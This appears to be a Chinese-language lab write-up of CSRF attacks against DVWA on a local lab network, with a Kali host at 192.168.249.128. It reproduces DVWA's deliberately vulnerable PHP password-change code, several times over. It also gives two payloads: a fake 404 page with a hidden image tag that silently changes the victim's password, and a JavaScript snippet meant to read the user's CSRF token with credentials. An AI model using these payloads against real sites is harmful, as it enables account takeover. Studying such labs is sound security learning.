// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) ordie( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
<html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Debian) Server</address> <imgsrc="http://192.168.249.129/dvwa/vulnerabilities/csrf/?password_new=456&password_conf=456&Change=Change#"border="0"style="display:none;"/> </body> </html>
kali 的 ip 为 192.168.249.128,这时 DVWA 中的登录密码已被修改为 456
if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) ordie( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; }
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) ordie( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
<html> <head> <title>404 Not Found</title> <scripttype="text/javascript"src="test.js"></script> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Debian) Server</address> </body> </html>
js 的内容就是访问 CSRF 的页面并获取用户 token
1 2 3 4 5 6
var url = "http://192.168.249.129/dvwa/vulnerabilities/csrf/"; xmlhttp = new XMLHttpRequest(); xmlhttp.withCredentials = true; // 跨转请求携带cookie xmlhttp.open("GET", url, false); xmlhttp.send(); console.log(xmlhttp.responseText); // 响应报文输出到控制台
但是当我以受害者的身份访问 192.168.249.129.html 时,请求被拦截了
百度了一下,发现是 CORS 机制在捣鬼
CORS是一种允许当前域的资源(比如 html / js / web service)被其他域的脚本请求访问的机制,通常由于同域安全策略,浏览器会禁止这种跨域请求
// Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new );
// Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match or current password incorrect.</pre>"; } }